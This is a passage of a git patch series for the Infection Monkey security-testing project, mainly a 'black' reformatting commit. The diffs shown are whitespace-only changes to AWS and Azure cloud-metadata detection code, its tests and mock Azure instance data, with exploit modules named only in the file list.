= AttackMitigations.dict_from_stix2_attack_patterns( - MitreApiInterface.get_all_attack_techniques() + MitreApiInterface.get_all_attack_techniques() ) mitigation_technique_relationships = ( MitreApiInterface.get_technique_and_mitigation_relationships() ) for relationship in mitigation_technique_relationships: mongo_mitigations[relationship["target_ref"]].add_mitigation( - stix2_mitigations[relationship["source_ref"]] + stix2_mitigations[relationship["source_ref"]] ) for relationship in mitigation_technique_relationships: mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info( - stix2_mitigations[relationship["source_ref"]] + stix2_mitigations[relationship["source_ref"]] ) for key, mongo_object in mongo_mitigations.items(): mongo_object.save() diff --git a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py index e5e7ecb5af3..785d6a36b6c 100644 --- a/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py +++ b/monkey/monkey_island/pyinstaller_hooks/hook-stix2.py @@ -1,4 +1,5 @@ -# Workaround for packaging Monkey Island using PyInstaller. See https://github.com/oasis-open/cti-python-stix2/issues/218 +# Workaround for packaging Monkey Island using PyInstaller. See +# https://github.com/oasis-open/cti-python-stix2/issues/218 import os From 3149dcc8ec0a950d5a5450e0105989720334f061 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Apr 2021 11:13:49 +0300 Subject: [PATCH 0162/1360] Fixed screwed up formatting with black --- monkey/common/cloud/aws/aws_instance.py | 17 +- monkey/common/cloud/aws/aws_service.py | 10 +- monkey/common/cloud/aws/test_aws_instance.py | 74 +- monkey/common/cloud/aws/test_aws_service.py | 6 +- monkey/common/cloud/azure/azure_instance.py | 13 +- .../common/cloud/azure/test_azure_instance.py | 156 ++-- monkey/common/cloud/gcp/gcp_instance.py | 10 +- monkey/common/cmd/aws/aws_cmd_result.py | 10 +- monkey/common/cmd/aws/aws_cmd_runner.py | 6 +- monkey/common/cmd/cmd_runner.py | 10 +- .../common/common_consts/zero_trust_consts.py | 384 ++++---- monkey/common/network/network_range.py | 10 +- monkey/common/utils/attack_utils.py | 26 +- monkey/common/utils/mongo_utils.py | 4 +- monkey/common/version.py | 3 +- monkey/infection_monkey/control.py | 217 +++-- monkey/infection_monkey/dropper.py | 107 ++- .../infection_monkey/exploit/HostExploiter.py | 30 +- monkey/infection_monkey/exploit/drupal.py | 62 +- .../infection_monkey/exploit/elasticgroovy.py | 14 +- monkey/infection_monkey/exploit/hadoop.py | 35 +- monkey/infection_monkey/exploit/mssqlexec.py | 47 +- monkey/infection_monkey/exploit/sambacry.py | 146 ++- monkey/infection_monkey/exploit/shellshock.py | 56 +- monkey/infection_monkey/exploit/smbexec.py | 112 +-- monkey/infection_monkey/exploit/sshexec.py | 57 +- monkey/infection_monkey/exploit/struts2.py | 40 +- .../exploit/tests/test_zerologon.py | 30 +- .../infection_monkey/exploit/tools/helpers.py | 24 +- .../exploit/tools/http_tools.py | 4 +- .../exploit/tools/payload_parsing.py | 8 +- .../exploit/tools/payload_parsing_test.py | 13 +- .../exploit/tools/smb_tools.py | 130 ++- .../exploit/tools/test_helpers.py | 4 +- .../exploit/tools/wmi_tools.py | 20 +- monkey/infection_monkey/exploit/vsftpd.py | 20 +- monkey/infection_monkey/exploit/web_rce.py | 97 +- monkey/infection_monkey/exploit/weblogic.py | 16 +- .../infection_monkey/exploit/win_ms08_067.py | 100 +- monkey/infection_monkey/exploit/wmiexec.py | 78 +- monkey/infection_monkey/exploit/zerologon.py | 127 ++- .../exploit/zerologon_utils/dump_secrets.py | 66 +- .../exploit/zerologon_utils/options.py | 16 +- .../exploit/zerologon_utils/remote_shell.py | 10 +- .../zerologon_utils/vuln_assessment.py | 28 +- .../exploit/zerologon_utils/wmiexec.py | 28 +- monkey/infection_monkey/main.py | 51 +- monkey/infection_monkey/model/__init__.py | 12 +- monkey/infection_monkey/monkey.py | 96 +- monkey/infection_monkey/network/firewall.py | 54 +- monkey/infection_monkey/network/info.py | 17 +- .../network/mssql_fingerprint.py | 16 +- .../infection_monkey/network/mysqlfinger.py | 2 +- .../network/network_scanner.py | 6 +- .../infection_monkey/network/ping_scanner.py | 14 +- .../network/postgresql_finger.py | 46 +- monkey/infection_monkey/network/smbfinger.py | 146 +-- .../infection_monkey/network/tcp_scanner.py | 8 +- .../network/test_postgresql_finger.py | 108 +-- monkey/infection_monkey/network/tools.py | 10 +- .../post_breach/actions/add_user.py | 4 +- .../actions/change_file_privileges.py | 2 +- .../actions/clear_command_history.py | 2 +- .../actions/communicate_as_new_user.py | 19 +- .../post_breach/actions/discover_accounts.py | 3 +- .../post_breach/actions/hide_files.py | 6 +- .../actions/modify_shell_startup_files.py | 8 +- .../post_breach/actions/schedule_jobs.py | 6 +- .../post_breach/actions/use_signed_scripts.py | 6 +- .../post_breach/actions/users_custom_pba.py | 16 +- .../linux_clear_command_history.py | 6 +- monkey/infection_monkey/post_breach/pba.py | 5 +- .../linux/shell_startup_files_modification.py | 6 +- .../shell_startup_files_modification.py | 6 +- .../shell_startup_files_modification.py | 13 +- .../signed_script_proxy.py | 2 +- .../tests/actions/test_users_custom_pba.py | 48 +- .../timestomping/linux/timestomping.py | 1 + .../timestomping/windows/timestomping.py | 1 + .../system_info/SSH_info_collector.py | 13 +- .../infection_monkey/system_info/__init__.py | 4 +- .../system_info/azure_cred_collector.py | 34 +- .../system_info/collectors/aws_collector.py | 2 +- .../collectors/environment_collector.py | 2 +- .../collectors/hostname_collector.py | 2 +- .../collectors/process_list_collector.py | 22 +- .../scoutsuite_collector.py | 8 +- .../system_info/netstat_collector.py | 22 +- .../system_info_collectors_handler.py | 6 +- .../mimikatz_cred_collector.py | 2 +- .../pypykatz_handler.py | 4 +- .../test_pypykatz_handler.py | 200 ++-- .../windows_credentials.py | 8 +- .../system_info/wmi_consts.py | 6 +- monkey/infection_monkey/system_singleton.py | 13 +- .../telemetry/attack/attack_telem.py | 2 +- .../telemetry/attack/t1005_telem.py | 2 +- .../telemetry/attack/t1064_telem.py | 2 +- .../telemetry/attack/t1105_telem.py | 2 +- .../telemetry/attack/t1107_telem.py | 2 +- .../telemetry/attack/t1197_telem.py | 2 +- .../telemetry/attack/t1222_telem.py | 2 +- .../telemetry/attack/usage_telem.py | 2 +- .../telemetry/attack/victim_host_telem.py | 4 +- .../telemetry/exploit_telem.py | 10 +- .../telemetry/post_breach_telem.py | 10 +- .../infection_monkey/telemetry/scan_telem.py | 2 +- .../telemetry/scoutsuite_telem.py | 2 +- .../infection_monkey/telemetry/state_telem.py | 2 +- .../tests/attack/test_attack_telem.py | 2 +- .../tests/attack/test_t1005_telem.py | 8 +- .../tests/attack/test_t1035_telem.py | 2 +- .../tests/attack/test_t1064_telem.py | 2 +- .../tests/attack/test_t1105_telem.py | 10 +- .../tests/attack/test_t1106_telem.py | 2 +- .../tests/attack/test_t1107_telem.py | 2 +- .../tests/attack/test_t1129_telem.py | 2 +- .../tests/attack/test_t1197_telem.py | 8 +- .../tests/attack/test_t1222_telem.py | 8 +- .../tests/attack/test_usage_telem.py | 6 +- .../tests/attack/test_victim_host_telem.py | 6 +- .../telemetry/tests/test_exploit_telem.py | 38 +- .../telemetry/tests/test_post_breach_telem.py | 12 +- .../telemetry/tests/test_scan_telem.py | 18 +- .../telemetry/tests/test_state_telem.py | 2 +- .../telemetry/tests/test_trace_telem.py | 2 +- .../telemetry/tests/test_tunnel_telem.py | 2 +- .../infection_monkey/telemetry/trace_telem.py | 2 +- .../telemetry/tunnel_telem.py | 2 +- monkey/infection_monkey/transport/http.py | 42 +- monkey/infection_monkey/transport/tcp.py | 10 +- monkey/infection_monkey/tunnel.py | 20 +- monkey/infection_monkey/utils/hidden_files.py | 8 +- monkey/infection_monkey/utils/linux/users.py | 14 +- .../infection_monkey/utils/plugins/plugin.py | 10 +- .../utils/windows/hidden_files.py | 14 +- .../infection_monkey/utils/windows/users.py | 39 +- monkey/infection_monkey/windows_upgrader.py | 29 +- monkey/monkey_island/cc/app.py | 30 +- monkey/monkey_island/cc/arg_parser.py | 32 +- .../monkey_island/cc/environment/__init__.py | 8 +- .../cc/environment/environment_config.py | 8 +- .../cc/environment/environment_singleton.py | 6 +- .../cc/environment/test__init__.py | 4 +- .../cc/environment/test_environment_config.py | 2 +- .../cc/environment/test_user_creds.py | 6 +- .../cc/environment/user_creds.py | 4 +- monkey/monkey_island/cc/main.py | 30 +- monkey/monkey_island/cc/models/__init__.py | 6 +- .../cc/models/attack/attack_mitigations.py | 6 +- monkey/monkey_island/cc/models/config.py | 2 +- monkey/monkey_island/cc/models/creds.py | 2 +- monkey/monkey_island/cc/models/edge.py | 2 +- monkey/monkey_island/cc/models/monkey.py | 12 +- monkey/monkey_island/cc/models/monkey_ttl.py | 2 +- monkey/monkey_island/cc/models/test_monkey.py | 24 +- .../cc/models/zero_trust/finding.py | 2 +- .../models/zero_trust/scoutsuite_finding.py | 2 +- .../cc/models/zero_trust/test_event.py | 11 +- .../models/zero_trust/test_monkey_finding.py | 18 +- .../zero_trust/test_scoutsuite_finding.py | 12 +- .../cc/resources/T1216_pba_file_download.py | 4 +- .../cc/resources/attack/attack_config.py | 18 +- .../cc/resources/attack/attack_report.py | 10 +- .../monkey_island/cc/resources/auth/auth.py | 12 +- .../cc/resources/auth/registration.py | 6 +- .../cc/resources/auth/user_store.py | 4 +- .../monkey_island/cc/resources/bootloader.py | 16 +- monkey/monkey_island/cc/resources/edge.py | 2 +- .../monkey_island/cc/resources/environment.py | 4 +- .../cc/resources/island_configuration.py | 4 +- .../monkey_island/cc/resources/local_run.py | 2 +- monkey/monkey_island/cc/resources/log.py | 2 +- monkey/monkey_island/cc/resources/monkey.py | 40 +- .../cc/resources/monkey_configuration.py | 4 +- .../monkey_control/remote_port_check.py | 4 +- .../cc/resources/monkey_download.py | 60 +- monkey/monkey_island/cc/resources/netmap.py | 2 +- .../monkey_island/cc/resources/node_states.py | 2 +- .../cc/resources/pba_file_upload.py | 2 +- .../monkey_island/cc/resources/remote_run.py | 4 +- monkey/monkey_island/cc/resources/root.py | 10 +- .../monkey_island/cc/resources/telemetry.py | 16 +- .../cc/resources/telemetry_feed.py | 32 +- .../cc/resources/test/clear_caches.py | 2 +- .../cc/resources/test/log_test.py | 4 +- .../cc/resources/test/monkey_test.py | 2 +- .../cc/resources/test/telemetry_test.py | 2 +- .../cc/resources/test/utils/telem_store.py | 17 +- .../cc/resources/version_update.py | 6 +- .../cc/resources/zero_trust/finding_event.py | 4 +- .../scoutsuite_auth/scoutsuite_auth.py | 12 +- .../resources/zero_trust/zero_trust_report.py | 2 +- .../cc/server_utils/bootloader_server.py | 4 +- .../monkey_island/cc/server_utils/consts.py | 4 +- .../cc/server_utils/encryptor.py | 8 +- .../cc/server_utils/island_logger.py | 6 +- .../cc/server_utils/test_island_logger.py | 2 +- .../cc/services/attack/attack_config.py | 29 +- .../cc/services/attack/attack_report.py | 96 +- .../cc/services/attack/attack_schema.py | 854 +++++++++--------- .../cc/services/attack/mitre_api_interface.py | 4 +- .../attack/technique_reports/T1003.py | 20 +- .../attack/technique_reports/T1005.py | 44 +- .../attack/technique_reports/T1016.py | 34 +- .../attack/technique_reports/T1018.py | 34 +- .../attack/technique_reports/T1021.py | 26 +- .../attack/technique_reports/T1035.py | 2 +- .../attack/technique_reports/T1041.py | 6 +- .../attack/technique_reports/T1059.py | 18 +- .../attack/technique_reports/T1064.py | 2 +- .../attack/technique_reports/T1075.py | 44 +- .../attack/technique_reports/T1082.py | 68 +- .../attack/technique_reports/T1086.py | 30 +- .../attack/technique_reports/T1090.py | 2 +- .../attack/technique_reports/T1105.py | 18 +- .../attack/technique_reports/T1106.py | 2 +- .../attack/technique_reports/T1107.py | 32 +- .../attack/technique_reports/T1110.py | 24 +- .../attack/technique_reports/T1129.py | 2 +- .../attack/technique_reports/T1145.py | 16 +- .../attack/technique_reports/T1146.py | 18 +- .../attack/technique_reports/T1156.py | 24 +- .../attack/technique_reports/T1188.py | 12 +- .../attack/technique_reports/T1197.py | 26 +- .../attack/technique_reports/T1210.py | 48 +- .../attack/technique_reports/T1216.py | 28 +- .../attack/technique_reports/T1222.py | 22 +- .../attack/technique_reports/T1504.py | 22 +- .../attack/technique_reports/__init__.py | 32 +- .../attack/technique_reports/pba_technique.py | 26 +- .../technique_report_tools.py | 8 +- .../technique_reports/usage_technique.py | 36 +- .../monkey_island/cc/services/bootloader.py | 2 +- .../cc/services/bootloader_test.py | 24 +- monkey/monkey_island/cc/services/config.py | 60 +- .../cc/services/config_schema/basic.py | 74 +- .../services/config_schema/basic_network.py | 156 ++-- .../services/config_schema/config_schema.py | 26 +- .../definitions/exploiter_classes.py | 250 ++--- .../definitions/finger_classes.py | 104 +-- .../definitions/post_breach_actions.py | 166 ++-- .../system_info_collector_classes.py | 82 +- .../cc/services/config_schema/internal.py | 784 ++++++++-------- .../cc/services/config_schema/monkey.py | 176 ++-- .../cc/services/edge/displayed_edge.py | 26 +- monkey/monkey_island/cc/services/edge/edge.py | 4 +- .../cc/services/edge/test_displayed_edge.py | 72 +- .../cc/services/infection_lifecycle.py | 16 +- .../monkey_island/cc/services/island_logs.py | 2 +- monkey/monkey_island/cc/services/log.py | 18 +- .../cc/services/netmap/net_edge.py | 24 +- monkey/monkey_island/cc/services/node.py | 142 +-- .../cc/services/post_breach_files.py | 8 +- .../cc/services/remote_run_aws.py | 70 +- .../cc/services/reporting/aws_exporter.py | 499 +++++----- .../cc/services/reporting/exporter_init.py | 6 +- .../exploiter_descriptor_enum.py | 22 +- .../processors/cred_exploit.py | 6 +- .../exploit_processing/processors/exploit.py | 3 +- .../processors/shellshock_exploit.py | 3 +- .../processors/zerologon.py | 3 +- .../cc/services/reporting/pth_report.py | 158 ++-- .../cc/services/reporting/report.py | 310 ++++--- .../cc/services/reporting/test_report.py | 60 +- .../cc/services/representations_test.py | 30 +- .../services/telemetry/processing/exploit.py | 16 +- .../telemetry/processing/post_breach.py | 4 +- .../telemetry/processing/processing.py | 20 +- .../cc/services/telemetry/processing/scan.py | 6 +- .../telemetry/processing/scoutsuite.py | 2 +- .../cc/services/telemetry/processing/state.py | 4 +- .../telemetry/processing/system_info.py | 13 +- .../processing/system_info_collectors/aws.py | 3 +- .../system_info_telemetry_dispatcher.py | 25 +- .../test_environment.py | 11 +- .../test_system_info_telemetry_dispatcher.py | 23 +- .../telemetry/processing/test_post_breach.py | 76 +- .../zero_trust_checks/antivirus_existence.py | 22 +- .../communicate_as_new_user.py | 28 +- .../zero_trust_checks/data_endpoints.py | 100 +- .../zero_trust_checks/machine_exploited.py | 30 +- .../zero_trust_checks/segmentation.py | 52 +- .../test_segmentation_checks.py | 24 +- .../telemetry/zero_trust_checks/tunneling.py | 18 +- .../services/tests/reporting/test_report.py | 80 +- .../cc/services/tests/test_config.py | 2 +- .../cc/services/utils/bootloader_config.py | 14 +- .../cc/services/utils/network_utils.py | 25 +- .../cc/services/utils/node_states.py | 8 +- .../cc/services/utils/node_states_test.py | 10 +- .../monkey_island/cc/services/wmi_handler.py | 52 +- .../monkey_zt_details_service.py | 18 +- .../monkey_zt_finding_service.py | 16 +- .../test_monkey_zt_finding_service.py | 26 +- .../scoutsuite/data_parsing/rule_parser.py | 7 +- .../cloudformation_rule_path_creator.py | 3 +- .../cloudtrail_rule_path_creator.py | 3 +- .../cloudwatch_rule_path_creator.py | 3 +- .../config_rule_path_creator.py | 3 +- .../ec2_rule_path_creator.py | 3 +- .../elb_rule_path_creator.py | 3 +- .../elbv2_rule_path_creator.py | 3 +- .../iam_rule_path_creator.py | 3 +- .../rds_rule_path_creator.py | 3 +- .../redshift_rule_path_creator.py | 3 +- .../s3_rule_path_creator.py | 3 +- .../ses_rule_path_creator.py | 3 +- .../sns_rule_path_creator.py | 3 +- .../sqs_rule_path_creator.py | 3 +- .../vpc_rule_path_creator.py | 3 +- .../rule_path_creators_list.py | 45 +- .../data_parsing/test_rule_parser.py | 28 +- .../scoutsuite/scoutsuite_auth_service.py | 10 +- .../scoutsuite_zt_finding_service.py | 20 +- .../test_scoutsuite_auth_service.py | 4 +- .../test_scoutsuite_rule_service.py | 36 +- .../zero_trust/test_common/finding_data.py | 4 +- .../test_common/monkey_finding_data.py | 24 +- .../test_common/raw_scoutsute_data.py | 198 ++-- .../test_common/scoutsuite_finding_data.py | 140 ++- .../zero_trust_report/finding_service.py | 13 +- .../zero_trust_report/pillar_service.py | 26 +- .../zero_trust_report/principle_service.py | 26 +- .../test_common/example_finding_data.py | 48 +- .../zero_trust_report/test_finding_service.py | 24 +- .../zero_trust_report/test_pillar_service.py | 103 ++- .../test_principle_service.py | 48 +- monkey/monkey_island/cc/setup.py | 8 +- 329 files changed, 5534 insertions(+), 5655 deletions(-) diff --git a/monkey/common/cloud/aws/aws_instance.py b/monkey/common/cloud/aws/aws_instance.py index 27c56f0a5f6..d34c6c77a72 100644 --- a/monkey/common/cloud/aws/aws_instance.py +++ b/monkey/common/cloud/aws/aws_instance.py @@ -34,27 +34,26 @@ def __init__(self): try: response = requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2 + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/instance-id", timeout=2 ) self.instance_id = response.text if response else None self.region = self._parse_region( - requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone" - ).text + requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "meta-data/placement/availability-zone" + ).text ) except (requests.RequestException, IOError) as e: logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e)) try: self.account_id = self._extract_account_id( - requests.get( - AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", - timeout=2 - ).text + requests.get( + AWS_LATEST_METADATA_URI_PREFIX + "dynamic/instance-identity/document", timeout=2 + ).text ) except (requests.RequestException, json.decoder.JSONDecodeError, IOError) as e: logger.debug( - "Failed init of AwsInstance while getting dynamic instance data: {}".format(e) + "Failed init of AwsInstance while getting dynamic instance data: {}".format(e) ) @staticmethod diff --git a/monkey/common/cloud/aws/aws_service.py b/monkey/common/cloud/aws/aws_service.py index 189d77336d1..dd4b1cb2486 100644 --- a/monkey/common/cloud/aws/aws_service.py +++ b/monkey/common/cloud/aws/aws_service.py @@ -20,10 +20,10 @@ def filter_instance_data_from_aws_response(response): return [ { - "instance_id":x[INSTANCE_ID_KEY], - "name":x[COMPUTER_NAME_KEY], - "os":x[PLATFORM_TYPE_KEY].lower(), - "ip_address":x[IP_ADDRESS_KEY], + "instance_id": x[INSTANCE_ID_KEY], + "name": x[COMPUTER_NAME_KEY], + "os": x[PLATFORM_TYPE_KEY].lower(), + "ip_address": x[IP_ADDRESS_KEY], } for x in response[INSTANCE_INFORMATION_LIST_KEY] ] @@ -50,7 +50,7 @@ def set_region(region): @staticmethod def get_client(client_type, region=None): return boto3.client( - client_type, region_name=region if region is not None else AwsService.region + client_type, region_name=region if region is not None else AwsService.region ) @staticmethod diff --git a/monkey/common/cloud/aws/test_aws_instance.py b/monkey/common/cloud/aws/test_aws_instance.py index 88b392d58ab..74ef5dd1580 100644 --- a/monkey/common/cloud/aws/test_aws_instance.py +++ b/monkey/common/cloud/aws/test_aws_instance.py @@ -38,14 +38,14 @@ def get_test_aws_instance( - text={"instance_id":None, "region":None, "account_id":None}, - exception={"instance_id":None, "region":None, "account_id":None}, + text={"instance_id": None, "region": None, "account_id": None}, + exception={"instance_id": None, "region": None, "account_id": None}, ): with requests_mock.Mocker() as m: # request made to get instance_id url = f"{AWS_LATEST_METADATA_URI_PREFIX}meta-data/instance-id" m.get(url, text=text["instance_id"]) if text["instance_id"] else m.get( - url, exc=exception["instance_id"] + url, exc=exception["instance_id"] ) # request made to get region @@ -55,7 +55,7 @@ def get_test_aws_instance( # request made to get account_id url = f"{AWS_LATEST_METADATA_URI_PREFIX}dynamic/instance-identity/document" m.get(url, text=text["account_id"]) if text["account_id"] else m.get( - url, exc=exception["account_id"] + url, exc=exception["account_id"] ) test_aws_instance_object = AwsInstance() @@ -66,11 +66,11 @@ def get_test_aws_instance( @pytest.fixture def good_data_mock_instance(): return get_test_aws_instance( - text={ - "instance_id":INSTANCE_ID_RESPONSE, - "region":AVAILABILITY_ZONE_RESPONSE, - "account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE, - } + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + } ) @@ -98,11 +98,11 @@ def test_get_account_id_good_data(good_data_mock_instance): @pytest.fixture def bad_region_data_mock_instance(): return get_test_aws_instance( - text={ - "instance_id":INSTANCE_ID_RESPONSE, - "region":"in-a-different-world", - "account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE, - } + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": "in-a-different-world", + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + } ) @@ -130,11 +130,11 @@ def test_get_account_id_bad_region_data(bad_region_data_mock_instance): @pytest.fixture def bad_account_id_data_mock_instance(): return get_test_aws_instance( - text={ - "instance_id":INSTANCE_ID_RESPONSE, - "region":AVAILABILITY_ZONE_RESPONSE, - "account_id":"who-am-i", - } + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": "who-am-i", + } ) @@ -162,12 +162,12 @@ def test_get_account_id_data_bad_account_id_data(bad_account_id_data_mock_instan @pytest.fixture def bad_instance_id_request_mock_instance(instance_id_exception): return get_test_aws_instance( - text={ - "instance_id":None, - "region":AVAILABILITY_ZONE_RESPONSE, - "account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE, - }, - exception={"instance_id":instance_id_exception, "region":None, "account_id":None}, + text={ + "instance_id": None, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + }, + exception={"instance_id": instance_id_exception, "region": None, "account_id": None}, ) @@ -200,12 +200,12 @@ def test_get_account_id_bad_instance_id_request(bad_instance_id_request_mock_ins @pytest.fixture def bad_region_request_mock_instance(region_exception): return get_test_aws_instance( - text={ - "instance_id":INSTANCE_ID_RESPONSE, - "region":None, - "account_id":INSTANCE_IDENTITY_DOCUMENT_RESPONSE, - }, - exception={"instance_id":None, "region":region_exception, "account_id":None}, + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": None, + "account_id": INSTANCE_IDENTITY_DOCUMENT_RESPONSE, + }, + exception={"instance_id": None, "region": region_exception, "account_id": None}, ) @@ -238,12 +238,12 @@ def test_get_account_id_bad_region_request(bad_region_request_mock_instance): @pytest.fixture def bad_account_id_request_mock_instance(account_id_exception): return get_test_aws_instance( - text={ - "instance_id":INSTANCE_ID_RESPONSE, - "region":AVAILABILITY_ZONE_RESPONSE, - "account_id":None, - }, - exception={"instance_id":None, "region":None, "account_id":account_id_exception}, + text={ + "instance_id": INSTANCE_ID_RESPONSE, + "region": AVAILABILITY_ZONE_RESPONSE, + "account_id": None, + }, + exception={"instance_id": None, "region": None, "account_id": account_id_exception}, ) diff --git a/monkey/common/cloud/aws/test_aws_service.py b/monkey/common/cloud/aws/test_aws_service.py index d9ce32a5709..8b17d707dc3 100644 --- a/monkey/common/cloud/aws/test_aws_service.py +++ b/monkey/common/cloud/aws/test_aws_service.py @@ -50,9 +50,9 @@ def test_filter_instance_data_from_aws_response(self): """ self.assertEqual( - filter_instance_data_from_aws_response(json.loads(json_response_empty)), [] + filter_instance_data_from_aws_response(json.loads(json_response_empty)), [] ) self.assertEqual( - filter_instance_data_from_aws_response(json.loads(json_response_full)), - [{"instance_id":"string", "ip_address":"string", "name":"string", "os":"string"}], + filter_instance_data_from_aws_response(json.loads(json_response_full)), + [{"instance_id": "string", "ip_address": "string", "name": "string", "os": "string"}], ) diff --git a/monkey/common/cloud/azure/azure_instance.py b/monkey/common/cloud/azure/azure_instance.py index 289e6b9420e..859ab279ff7 100644 --- a/monkey/common/cloud/azure/azure_instance.py +++ b/monkey/common/cloud/azure/azure_instance.py @@ -9,8 +9,7 @@ LATEST_AZURE_METADATA_API_VERSION = "2019-04-30" AZURE_METADATA_SERVICE_URL = ( - "http://169.254.169.254/metadata/instance?api-version=%s" % - LATEST_AZURE_METADATA_API_VERSION + "http://169.254.169.254/metadata/instance?api-version=%s" % LATEST_AZURE_METADATA_API_VERSION ) logger = logging.getLogger(__name__) @@ -40,9 +39,9 @@ def __init__(self): try: response = requests.get( - AZURE_METADATA_SERVICE_URL, - headers={"Metadata":"true"}, - timeout=SHORT_REQUEST_TIMEOUT, + AZURE_METADATA_SERVICE_URL, + headers={"Metadata": "true"}, + timeout=SHORT_REQUEST_TIMEOUT, ) # If not on cloud, the metadata URL is non-routable and the connection will fail. @@ -55,8 +54,8 @@ def __init__(self): logger.warning(f"Metadata response not ok: {response.status_code}") except requests.RequestException: logger.debug( - "Failed to get response from Azure metadata service: This instance is not on " - "Azure." + "Failed to get response from Azure metadata service: This instance is not on " + "Azure." ) def try_parse_response(self, response): diff --git a/monkey/common/cloud/azure/test_azure_instance.py b/monkey/common/cloud/azure/test_azure_instance.py index 10e372c0588..a7bed81dd36 100644 --- a/monkey/common/cloud/azure/test_azure_instance.py +++ b/monkey/common/cloud/azure/test_azure_instance.py @@ -7,96 +7,96 @@ from common.cloud.environment_names import Environment GOOD_DATA = { - "compute":{ - "azEnvironment":"AZUREPUBLICCLOUD", - "isHostCompatibilityLayerVm":"true", - "licenseType":"Windows_Client", - "location":"westus", - "name":"examplevmname", - "offer":"Windows", - "osProfile":{ - "adminUsername":"admin", - "computerName":"examplevmname", - "disablePasswordAuthentication":"true", + "compute": { + "azEnvironment": "AZUREPUBLICCLOUD", + "isHostCompatibilityLayerVm": "true", + "licenseType": "Windows_Client", + "location": "westus", + "name": "examplevmname", + "offer": "Windows", + "osProfile": { + "adminUsername": "admin", + "computerName": "examplevmname", + "disablePasswordAuthentication": "true", }, - "osType":"linux", - "placementGroupId":"f67c14ab-e92c-408c-ae2d-da15866ec79a", - "plan":{"name":"planName", "product":"planProduct", "publisher":"planPublisher"}, - "platformFaultDomain":"36", - "platformUpdateDomain":"42", - "publicKeys":[ - {"keyData":"ssh-rsa 0", "path":"/home/user/.ssh/authorized_keys0"}, - {"keyData":"ssh-rsa 1", "path":"/home/user/.ssh/authorized_keys1"}, + "osType": "linux", + "placementGroupId": "f67c14ab-e92c-408c-ae2d-da15866ec79a", + "plan": {"name": "planName", "product": "planProduct", "publisher": "planPublisher"}, + "platformFaultDomain": "36", + "platformUpdateDomain": "42", + "publicKeys": [ + {"keyData": "ssh-rsa 0", "path": "/home/user/.ssh/authorized_keys0"}, + {"keyData": "ssh-rsa 1", "path": "/home/user/.ssh/authorized_keys1"}, ], - "publisher":"RDFE-Test-Microsoft-Windows-Server-Group", - "resourceGroupName":"macikgo-test-may-23", - "resourceId":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test" - "-may-23/" - "providers/Microsoft.Compute/virtualMachines/examplevmname", - "securityProfile":{"secureBootEnabled":"true", "virtualTpmEnabled":"false"}, - "sku":"Windows-Server-2012-R2-Datacenter", - "storageProfile":{ - "dataDisks":[ + "publisher": "RDFE-Test-Microsoft-Windows-Server-Group", + "resourceGroupName": "macikgo-test-may-23", + "resourceId": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/resourceGroups/macikgo-test" + "-may-23/" + "providers/Microsoft.Compute/virtualMachines/examplevmname", + "securityProfile": {"secureBootEnabled": "true", "virtualTpmEnabled": "false"}, + "sku": "Windows-Server-2012-R2-Datacenter", + "storageProfile": { + "dataDisks": [ { - "caching":"None", - "createOption":"Empty", - "diskSizeGB":"1024", - "image":{"uri":""}, - "lun":"0", - "managedDisk":{ - "id":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" - "resourceGroups/macikgo-test-may-23/providers/" - "Microsoft.Compute/disks/exampledatadiskname", - "storageAccountType":"Standard_LRS", + "caching": "None", + "createOption": "Empty", + "diskSizeGB": "1024", + "image": {"uri": ""}, + "lun": "0", + "managedDisk": { + "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" + "resourceGroups/macikgo-test-may-23/providers/" + "Microsoft.Compute/disks/exampledatadiskname", + "storageAccountType": "Standard_LRS", }, - "name":"exampledatadiskname", - "vhd":{"uri":""}, - "writeAcceleratorEnabled":"false", + "name": "exampledatadiskname", + "vhd": {"uri": ""}, + "writeAcceleratorEnabled": "false", } ], - "imageReference":{ - "id":"", - "offer":"UbuntuServer", - "publisher":"Canonical", - "sku":"16.04.0-LTS", - "version":"latest", + "imageReference": { + "id": "", + "offer": "UbuntuServer", + "publisher": "Canonical", + "sku": "16.04.0-LTS", + "version": "latest", }, - "osDisk":{ - "caching":"ReadWrite", - "createOption":"FromImage", - "diskSizeGB":"30", - "diffDiskSettings":{"option":"Local"}, - "encryptionSettings":{"enabled":"false"}, - "image":{"uri":""}, - "managedDisk":{ - "id":"/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" - "resourceGroups/macikgo-test-may-23/providers/" - "Microsoft.Compute/disks/exampleosdiskname", - "storageAccountType":"Standard_LRS", + "osDisk": { + "caching": "ReadWrite", + "createOption": "FromImage", + "diskSizeGB": "30", + "diffDiskSettings": {"option": "Local"}, + "encryptionSettings": {"enabled": "false"}, + "image": {"uri": ""}, + "managedDisk": { + "id": "/subscriptions/xxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxx/" + "resourceGroups/macikgo-test-may-23/providers/" + "Microsoft.Compute/disks/exampleosdiskname", + "storageAccountType": 